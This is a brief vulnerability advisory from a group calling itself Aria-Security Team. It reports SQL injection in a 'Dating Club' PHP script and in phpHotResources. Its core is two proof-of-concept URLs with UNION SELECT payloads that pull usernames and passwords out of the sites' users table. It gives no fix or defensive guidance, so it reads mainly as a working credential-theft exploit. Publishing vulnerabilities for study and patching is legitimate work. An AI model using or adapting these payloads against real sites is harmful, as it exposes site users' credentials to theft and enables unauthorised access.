w2b-sql.txt

` -------------------------------------------------------  
| Aria-Security Team (Persian Security Network) |  
| http://Aria-Security.com (For English) |  
| http://Aria-Security.net (For Farsi) |  
| Greetz: |  
| AurA, NULL, Kinglet, t3rr0r1st, Moromort |  
| and to all of our staff |  
| Discovered by The-0utl4w |  
-------------------------------------------------------  
Original Advisort  
  
Vendor: http://w2b.ru   
Affected Script: "Dating Club"  
  
PoC  
browse.php?mode=browsebyCat&_gender=0&age_from=15&age_to=-4214/**/union/**/select/**/1,user_name,password,4,5,6,7,8/**/from/**/users/*&country=&state=&field=body  
  
Other product have the same problems.  
Example  
phpHotResources: cat.php?lang=4&kind=-4214+union+select+1,user_name,password,4,5,6,7,8,9+from+users/* (this syntax mite not work but there's sql injection!)  
  
Original link: http://forum.aria-security.com/showthread.php?p=70  
  
Regards,  
The-0utl4w  
`